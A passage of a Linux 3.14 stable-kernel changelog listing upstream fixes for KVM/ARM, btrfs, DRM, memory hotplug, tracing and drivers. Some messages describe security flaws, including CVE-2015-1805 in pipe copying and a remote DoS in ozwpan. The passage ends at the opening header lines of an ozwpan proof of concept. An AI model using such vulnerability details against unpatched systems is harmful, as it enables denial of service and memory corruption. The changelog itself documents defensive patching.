Greg Kroah-Hartman [Mon, 29 Jun 2015 19:25:50 +0000 (12:25 -0700)]
Linux 3.14.46
Will Deacon [Tue, 26 Aug 2014 14:13:24 +0000 (15:13 +0100)]
KVM: vgic: return int instead of bool when checking I/O ranges
commit
1fa451bcc67fa921a04c5fac8dbcde7844d54512 upstream.
vgic_ioaddr_overlap claims to return a bool, but in reality it returns
an int. Shut sparse up by fixing the type signature.
Cc: Christoffer Dall <christoffer.dall@linaro.org>
Cc: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Christoffer Dall <christoffer.dall@linaro.org>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Will Deacon [Tue, 26 Aug 2014 14:13:22 +0000 (15:13 +0100)]
KVM: ARM/arm64: avoid returning negative error code as bool
commit
18d457661fb9fa69352822ab98d39331c3d0e571 upstream.
is_valid_cache returns true if the specified cache is valid.
Unfortunately, if the parameter passed it out of range, we return
-ENOENT, which ends up as true leading to potential hilarity.
This patch returns false on the failure path instead.
Cc: Christoffer Dall <christoffer.dall@linaro.org>
Cc: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Christoffer Dall <christoffer.dall@linaro.org>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Will Deacon [Tue, 26 Aug 2014 14:13:21 +0000 (15:13 +0100)]
KVM: ARM/arm64: fix broken __percpu annotation
commit
4000be423cb01a8d09de878bb8184511c49d4238 upstream.
Running sparse results in a bunch of noisy address space mismatches
thanks to the broken __percpu annotation on kvm_get_running_vcpus.
This function returns a pcpu pointer to a pointer, not a pointer to a
pcpu pointer. This patch fixes the annotation, which kills the warnings
from sparse.
Cc: Christoffer Dall <christoffer.dall@linaro.org>
Cc: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Christoffer Dall <christoffer.dall@linaro.org>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Will Deacon [Tue, 26 Aug 2014 14:13:20 +0000 (15:13 +0100)]
KVM: ARM/arm64: fix non-const declaration of function returning const
commit
6951e48bff0b55d2a8e825a953fc1f8e3a34bf1c upstream.
Sparse kicks up about a type mismatch for kvm_target_cpu:
arch/arm64/kvm/guest.c:271:25: error: symbol 'kvm_target_cpu' redeclared with different type (originally declared at ./arch/arm64/include/asm/kvm_host.h:45) - different modifiers
so fix this by adding the missing const attribute to the function
declaration.
Cc: Christoffer Dall <christoffer.dall@linaro.org>
Cc: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Christoffer Dall <christoffer.dall@linaro.org>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Victor Kamensky [Thu, 12 Jun 2014 16:30:09 +0000 (09:30 -0700)]
ARM64: KVM: store kvm_vcpu_fault_info est_el2 as word
commit
ba083d20d8cfa9e999043cd89c4ebc964ccf8927 upstream.
esr_el2 field of struct kvm_vcpu_fault_info has u32 type.
It should be stored as word. Current code works in LE case
because existing puts least significant word of x1 into
esr_el2, and it puts most significant work of x1 into next
field, which accidentally is OK because it is updated again
by next instruction. But existing code breaks in BE case.
Signed-off-by: Victor Kamensky <victor.kamensky@linaro.org>
Acked-by: Christoffer Dall <christoffer.dall@linaro.org>
Acked-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Li Liu [Tue, 1 Jul 2014 10:01:50 +0000 (18:01 +0800)]
ARM: virt: fix wrong HSCTLR.EE bit setting
commit
af92394efc8be73edd2301fc15f9b57fd430cd18 upstream.
HSCTLR.EE is defined as bit[25] referring to arm manual
DDI0606C.b(p1590).
Reviewed-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Li Liu <john.liuli@huawei.com>
Signed-off-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Alex Bennée [Tue, 1 Jul 2014 15:53:13 +0000 (16:53 +0100)]
arm64: KVM: export demux regids as KVM_REG_ARM64
commit
efd48ceacea78e4d4656aa0a6bf4c5b92ed22130 upstream.
I suspect this is a -ECUTPASTE fault from the initial implementation. If
we don't declare the register ID to be KVM_REG_ARM64 the KVM_GET_ONE_REG
implementation kvm_arm_get_reg() returns -EINVAL and hilarity ensues.
The kvm/api.txt document describes all arm64 registers as starting with
0x60xx... (i.e KVM_REG_ARM64).
Signed-off-by: Alex Bennée <alex.bennee@linaro.org>
Acked-by: Christoffer Dall <christoffer.dall@linaro.org>
Acked-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Kim Phillips [Thu, 26 Jun 2014 00:45:51 +0000 (01:45 +0100)]
ARM: KVM: user_mem_abort: support stage 2 MMIO page mapping
commit
b88657674d39fc2127d62d0de9ca142e166443c8 upstream.
A userspace process can map device MMIO memory via VFIO or /dev/mem,
e.g., for platform device passthrough support in QEMU.
During early development, we found the PAGE_S2 memory type being used
for MMIO mappings. This patch corrects that by using the more strongly
ordered memory type for device MMIO mappings: PAGE_S2_DEVICE.
Signed-off-by: Kim Phillips <kim.phillips@linaro.org>
Acked-by: Christoffer Dall <christoffer.dall@linaro.org>
Acked-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Eric Auger [Fri, 6 Jun 2014 09:10:23 +0000 (11:10 +0200)]
ARM: KVM: Unmap IPA on memslot delete/move
commit
df6ce24f2ee485c4f9a5cb610063a5eb60da8267 upstream.
Currently when a KVM region is deleted or moved after
KVM_SET_USER_MEMORY_REGION ioctl, the corresponding
intermediate physical memory is not unmapped.
This patch corrects this and unmaps the region's IPA range
in kvm_arch_commit_memory_region using unmap_stage2_range.
Signed-off-by: Eric Auger <eric.auger@linaro.org>
Signed-off-by: Christoffer Dall <christoffer.dall@linaro.org>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Christoffer Dall [Fri, 9 May 2014 21:31:31 +0000 (23:31 +0200)]
arm/arm64: KVM: Fix and refactor unmap_range
commit
4f853a714bf16338ff5261128e6c7ae2569e9505 upstream.
unmap_range() was utterly broken, to quote Marc, and broke in all sorts
of situations. It was also quite complicated to follow and didn't
follow the usual scheme of having a separate iterating function for each
level of page tables.
Address this by refactoring the code and introduce a pgd_clear()
function.
Reviewed-by: Jungseok Lee <jays.lee@samsung.com>
Reviewed-by: Mario Smarduch <m.smarduch@samsung.com>
Acked-by: Marc Zyngier <marc.zyngier@arm.com>
Signed-off-by: Christoffer Dall <christoffer.dall@linaro.org>
Signed-off-by: Shannon Zhao <shannon.zhao@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
James Smart [Wed, 7 May 2014 21:16:46 +0000 (17:16 -0400)]
lpfc: Add iotag memory barrier
commit
27f344eb15dd0da80ebec80c7245e8c85043f841 upstream.
Add a memory barrier to ensure the valid bit is read before
any of the cqe payload is read. This fixes an issue seen
on Power where the cqe payload was getting loaded before
the valid bit. When this occurred, we saw an iotag out of
range error when a command completed, but since the iotag
looked invalid the command didn't get completed to scsi core.
Later we hit the command timeout, attempted to abort the command,
then waited for the aborted command to get returned. Since the
adapter already returned the command, we timeout waiting,
and end up escalating EEH all the way to host reset. This
patch fixes this issue.
Signed-off-by: Brian King <brking@linux.vnet.ibm.com>
Signed-off-by: James Smart <james.smart@emulex.com>
Signed-off-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Ben Hutchings [Tue, 16 Jun 2015 21:11:06 +0000 (22:11 +0100)]
pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic
pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec,
the first time atomically and the second time not. The second attempt
needs to continue from the iovec position, pipe buffer offset and
remaining length where the first attempt failed, but currently the
pipe buffer offset and remaining length are reset. This will corrupt
the piped data (possibly also leading to an information leak between
processes) and may also corrupt kernel memory.
This was fixed upstream by commits
f0d1bec9d58d ("new helper:
copy_page_from_iter()") and
637b58c2887e ("switch pipe_read() to
copy_page_to_iter()"), but those aren't suitable for stable. This fix
for older kernel versions was made by Seth Jennings for RHEL and I
have extracted it from their update.
CVE-2015-1805
References: https://bugzilla.redhat.com/show_bug.cgi?id=
1202855
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Dmitry Tunin [Sat, 6 Jun 2015 17:29:25 +0000 (20:29 +0300)]
ath3k: add support of 13d3:3474 AR3012 device
commit
0d0cef6183aec0fb6d0c9f00a09ff51ee086bbe2 upstream.
BugLink: https://bugs.launchpad.net/bugs/1427680
This device requires new firmware files
AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to
/lib/firmware/ar3k/ that are not included in linux-firmware yet.
T: Bus=01 Lev=01 Prnt=01 Port=04 Cnt=01 Dev#= 4 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=13d3 ProdID=3474 Rev=00.01
C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Dmitry Tunin [Sat, 6 Jun 2015 17:25:40 +0000 (20:25 +0300)]
ath3k: Add support of 0489:e076 AR3012 device
commit
692c062e7c282164fd7cda68077f79dafd176eaf upstream.
BugLink: https://bugs.launchpad.net/bugs/1462614
This device requires new firmware files
AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to
/lib/firmware/ar3k/ that are not included in linux-firmware yet.
T: Bus=03 Lev=01 Prnt=01 Port=09 Cnt=06 Dev#= 7 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=0489 ProdID=e076 Rev= 0.01
C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms
E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms
E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms
I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms
I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms
I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms
I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms
I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms
Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Adam Jackson [Mon, 15 Jun 2015 20:16:15 +0000 (16:16 -0400)]
drm/mgag200: Reject non-character-cell-aligned mode widths
commit
25161084b1c1b0c29948f6f77266a35f302196b7 upstream.
Turns out 1366x768 does not in fact work on this hardware.
Signed-off-by: Adam Jackson <ajax@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Steven Rostedt [Mon, 15 Jun 2015 21:50:25 +0000 (17:50 -0400)]
tracing: Have filter check for balanced ops
commit
2cf30dc180cea808077f003c5116388183e54f9e upstream.
When the following filter is used it causes a warning to trigger:
# cd /sys/kernel/debug/tracing
# echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
-bash: echo: write error: Invalid argument
# cat events/ext4/ext4_truncate_exit/filter
((dev==1)blocks==2)
^
parse_error: No error
------------[ cut here ]------------
WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990()
Modules linked in: bnep lockd grace bluetooth ...
CPU: 3 PID: 1223 Comm: bash Tainted: G W 4.1.0-rc3-test+ #450
Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012
0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0
0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c
ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea
Call Trace:
[<
ffffffff816ed4f9>] dump_stack+0x4c/0x6e
[<
ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0
[<
ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80
[<
ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20
[<
ffffffff81159065>] replace_preds+0x3c5/0x990
[<
ffffffff811596b2>] create_filter+0x82/0xb0
[<
ffffffff81159944>] apply_event_filter+0xd4/0x180
[<
ffffffff81152bbf>] event_filter_write+0x8f/0x120
[<
ffffffff811db2a8>] __vfs_write+0x28/0xe0
[<
ffffffff811dda43>] ? __sb_start_write+0x53/0xf0
[<
ffffffff812e51e0>] ? security_file_permission+0x30/0xc0
[<
ffffffff811dc408>] vfs_write+0xb8/0x1b0
[<
ffffffff811dc72f>] SyS_write+0x4f/0xb0
[<
ffffffff816f5217>] system_call_fastpath+0x12/0x6a
---[ end trace
e11028bd95818dcd ]---
Worse yet, reading the error message (the filter again) it says that
there was no error, when there clearly was. The issue is that the
code that checks the input does not check for balanced ops. That is,
having an op between a closed parenthesis and the next token.
This would only cause a warning, and fail out before doing any real
harm, but it should still not caues a warning, and the error reported
should work:
# cd /sys/kernel/debug/tracing
# echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
-bash: echo: write error: Invalid argument
# cat events/ext4/ext4_truncate_exit/filter
((dev==1)blocks==2)
^
parse_error: Meaningless filter expression
And give no kernel warning.
Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
Reported-by: Vince Weaver <vincent.weaver@maine.edu>
Tested-by: Vince Weaver <vincent.weaver@maine.edu>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
[ luis: backported to 3.16:
- unconditionally decrement cnt as the OP_NOT logic was introduced only
by
e12c09cf3087 ("tracing: Add NOT to filtering logic") ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Steve Cornelius [Mon, 15 Jun 2015 23:52:59 +0000 (16:52 -0700)]
crypto: caam - fix RNG buffer cache alignment
commit
412c98c1bef65fe7589f1300e93735d96130307c upstream.
The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx)
allocated in one DMA-tagged region. While the kernel's heap allocator
should place the overall struct on a cacheline aligned boundary, the 2
buffers contained within may not necessarily align. Consenquently, the ends
of unaligned buffers may not fully flush, and if so, stale data will be left
behind, resulting in small repeating patterns.
This fix aligns the buffers inside the struct.
Note that not all of the data inside caam_rng_ctx necessarily needs to be
DMA-tagged, only the buffers themselves require this. However, a fix would
incur the expense of error-handling bloat in the case of allocation failure.
Signed-off-by: Steve Cornelius <steve.cornelius@freescale.com>
Signed-off-by: Victoria Milhoan <vicki.milhoan@freescale.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Greg Kroah-Hartman [Tue, 23 Jun 2015 00:01:36 +0000 (17:01 -0700)]
Linux 3.14.45
Jeff Mahoney [Fri, 20 Mar 2015 18:02:09 +0000 (14:02 -0400)]
btrfs: cleanup orphans while looking up default subvolume
commit
727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream.
Orphans in the fs tree are cleaned up via open_ctree and subvolume
orphans are cleaned via btrfs_lookup_dentry -- except when a default
subvolume is in use. The name for the default subvolume uses a manual
lookup that doesn't trigger orphan cleanup and needs to trigger it
manually as well. This doesn't apply to the remount case since the
subvolumes are cleaned up by walking the root radix tree.
Signed-off-by: Jeff Mahoney <jeffm@suse.com>
Reviewed-by: David Sterba <dsterba@suse.cz>
Signed-off-by: Chris Mason <clm@fb.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Chengyu Song [Tue, 24 Mar 2015 22:12:56 +0000 (18:12 -0400)]
btrfs: incorrect handling for fiemap_fill_next_extent return
commit
26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream.
fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was
the last extent that will fit in user array. If 1 is returned, the return
value may eventually returned to user space, which should not happen, according
to manpage of ioctl.
Signed-off-by: Chengyu Song <csong84@gatech.edu>
Reviewed-by: David Sterba <dsterba@suse.cz>
Reviewed-by: Liu Bo <bo.li.liu@oracle.com>
Signed-off-by: Chris Mason <clm@fb.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Johannes Berg [Tue, 9 Jun 2015 19:35:44 +0000 (21:35 +0200)]
cfg80211: wext: clear sinfo struct before calling driver
commit
9c5a18a31b321f120efda412281bb9f610f84aa0 upstream.
Until recently, mac80211 overwrote all the statistics it could
provide when getting called, but it now relies on the struct
having been zeroed by the caller. This was always the case in
nl80211, but wext used a static struct which could even cause
values from one device leak to another.
Using a static struct is OK (as even documented in a comment)
since the whole usage of this function and its return value is
always locked under RTNL. Not clearing the struct for calling
the driver has always been wrong though, since drivers were
free to only fill values they could report, so calling this
for one device and then for another would always have leaked
values from one to the other.
Fix this by initializing the structure in question before the
driver method call.
This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691
Reported-by: Gerrit Renker <gerrit@erg.abdn.ac.uk>
Reported-by: Alexander Kaltsas <alexkaltsas@gmail.com>
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Gu Zheng [Wed, 10 Jun 2015 18:14:43 +0000 (11:14 -0700)]
mm/memory_hotplug.c: set zone->wait_table to null after freeing it
commit
85bd839983778fcd0c1c043327b14a046e979b39 upstream.
Izumi found the following oops when hot re-adding a node:
BUG: unable to handle kernel paging request at
ffffc90008963690
IP: __wake_up_bit+0x20/0x70
Oops: 0000 [#1] SMP
CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
task:
ffff880838df8000 ti:
ffff880017b94000 task.ti:
ffff880017b94000
RIP: 0010:[<
ffffffff810dff80>] [<
ffffffff810dff80>] __wake_up_bit+0x20/0x70
RSP: 0018:
ffff880017b97be8 EFLAGS:
00010246
RAX:
ffffc90008963690 RBX:
00000000003c0000 RCX:
000000000000a4c9
RDX:
0000000000000000 RSI:
ffffea101bffd500 RDI:
ffffc90008963648
RBP:
ffff880017b97c08 R08:
0000000002000020 R09:
0000000000000000
R10:
0000000000000000 R11:
0000000000000000 R12:
ffff8a0797c73800
R13:
ffffea101bffd500 R14:
0000000000000001 R15:
00000000003c0000
FS:
00007fcc7ffff700(0000) GS:
ffff880874800000(0000) knlGS:
0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0:
0000000080050033
CR2:
ffffc90008963690 CR3:
0000000836761000 CR4:
00000000001407e0
Call Trace:
unlock_page+0x6d/0x70
generic_write_end+0x53/0xb0
xfs_vm_write_end+0x29/0x80 [xfs]
generic_perform_write+0x10a/0x1e0
xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
xfs_file_write_iter+0x79/0x120 [xfs]
__vfs_write+0xd4/0x110
vfs_write+0xac/0x1c0
SyS_write+0x58/0xd0
system_call_fastpath+0x12/0x76
Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
RIP [<
ffffffff810dff80>] __wake_up_bit+0x20/0x70
RSP <
ffff880017b97be8>
CR2:
ffffc90008963690
Reproduce method (re-add a node)::
Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)
This seems an use-after-free problem, and the root cause is
zone->wait_table was not set to *NULL* after free it in
try_offline_node.
When hot re-add a node, we will reuse the pgdat of it, so does the zone
struct, and when add pages to the target zone, it will init the zone
first (including the wait_table) if the zone is not initialized. The
judgement of zone initialized is based on zone->wait_table:
static inline bool zone_is_initialized(struct zone *zone)
{
return !!zone->wait_table;
}
so if we do not set the zone->wait_table to *NULL* after free it, the
memory hotplug routine will skip the init of new zone when hot re-add
the node, and the wait_table still points to the freed memory, then we
will access the invalid address when trying to wake up the waiting
people after the i/o operation with the page is done, such as mentioned
above.
Signed-off-by: Gu Zheng <guz.fnst@cn.fujitsu.com>
Reported-by: Taku Izumi <izumi.taku@jp.fujitsu.com>
Reviewed by: Yasuaki Ishimatsu <isimatu.yasuaki@jp.fujitsu.com>
Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
Cc: Tang Chen <tangchen@cn.fujitsu.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Philipp Zabel [Tue, 19 May 2015 08:54:09 +0000 (10:54 +0200)]
serial: imx: Fix DMA handling for IDLE condition aborts
commit
392bceedb107a3dc1d4287e63d7670d08f702feb upstream.
The driver configures the IDLE condition to interrupt the SDMA engine.
Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this
caused repeated 1-byte DMA transfers, regardless of available data in the
RX FIFO. Also, when returning due to the IDLE condition, the UART ROM
script already increased its counter, causing residue to be off by one.
This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers
and decreases count by when the DMA transfer was aborted due to the IDLE
condition, fixing serial transfers using DMA on i.MX6Q.
Reported-by: Peter Seiderer <ps.report@gmx.net>
Signed-off-by: Philipp Zabel <p.zabel@pengutronix.de>
Tested-by: Fabio Estevam <fabio.estevam@freescale.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jérôme Glisse [Fri, 5 Jun 2015 17:33:57 +0000 (13:33 -0400)]
drm/radeon: fix freeze for laptop with Turks/Thames GPU.
commit
6dfd197283bffc23a2b046a7f065588de7e1fc1e upstream.
Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems
the SMC engine is relying on some state inside the CP engine. CP needs
to chew at least one packet for it to get in good state for dynamic
power management.
This patch simply disabled and re-enable DPM after the ring test which
is enough to avoid the freeze.
Signed-off-by: Jérôme Glisse <jglisse@redhat.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jani Nikula [Tue, 2 Jun 2015 16:21:15 +0000 (19:21 +0300)]
drm/i915: Fix DDC probe for passive adapters
commit
3f5f1554ee715639e78d9be87623ee82772537e0 upstream.
Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
devices, as they do not have a sink device in them to respond to any AUX
traffic. When probing these dongles over the DDC, sometimes they will
NAK the first attempt even though the transaction is valid and they
support the DDC protocol. The retry loop inside of
drm_do_probe_ddc_edid() would normally catch this case and try the
transaction again, resulting in success.
That, however, was thwarted by the fix for [1]:
commit
9292f37e1f5c79400254dca46f83313488093825
Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
Date: Thu Jan 5 09:34:28 2012 -0200
drm: give up on edid retries when i2c bus is not responding
This added code to exit immediately if the return code from the
i2c_transfer function was -ENXIO in order to reduce the amount of time
spent in waiting for unresponsive or disconnected devices. That was
possible because the underlying i2c bit banging algorithm had retries of
its own (which, of course, were part of the reason for the bug the
commit fixes).
Since its introduction in
commit
f899fc64cda8569d0529452aafc0da31c042df2e
Author: Chris Wilson <chris@chris-wilson.co.uk>
Date: Tue Jul 20 15:44:45 2010 -0700
drm/i915: use GMBUS to manage i2c links
we've been flipping back and forth enabling the GMBUS transfers, but
we've settled since then. The GMBUS implementation does not do any
retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
the retry on -ENXIO.
Retry GMBUS once on -ENXIO on first message to mitigate the issues with
passive adapters.
This patch is based on the work, and commit message, by Todd Previte
<tprevite@gmail.com>.
[1] https://bugs.freedesktop.org/show_bug.cgi?id=41059
v2: Don't retry if using bit banging.
v3: Move retry within gmbux_xfer, retry only on first message.
v4: Initialize GMBUS0 on retry (Ville).
v5: Take index reads into account (Ville).
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
Cc: Todd Previte <tprevite@gmail.com>
Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
Tested-by: Jim Bride <jim.bride@linux.intel.com>
Reviewed-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jim Bride [Wed, 27 May 2015 17:21:48 +0000 (10:21 -0700)]
drm/i915/hsw: Fix workaround for server AUX channel clock divisor
commit
e058c945e03a629c99606452a6931f632dd28903 upstream.
According to the HSW b-spec we need to try clock divisors of 63
and 72, each 3 or more times, when attempting DP AUX channel
communication on a server chipset. This actually wasn't happening
due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit
in status rather than checking that the operation was done and
that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set.
[v2] Implemented alternate solution suggested by Jani Nikula.
Signed-off-by: Jim Bride <jim.bride@linux.intel.com>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Aaro Koskinen [Mon, 8 Jun 2015 08:32:43 +0000 (11:32 +0300)]
pata_octeon_cf: fix broken build
commit
4710f2facb5c68d629015747bd09b37203e0d137 upstream.
MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
build. Fix that.
Signed-off-by: Aaro Koskinen <aaro.koskinen@nokia.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jason A. Donenfeld [Fri, 29 May 2015 11:07:01 +0000 (13:07 +0200)]
ozwpan: unchecked signed subtraction leads to DoS
commit
9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
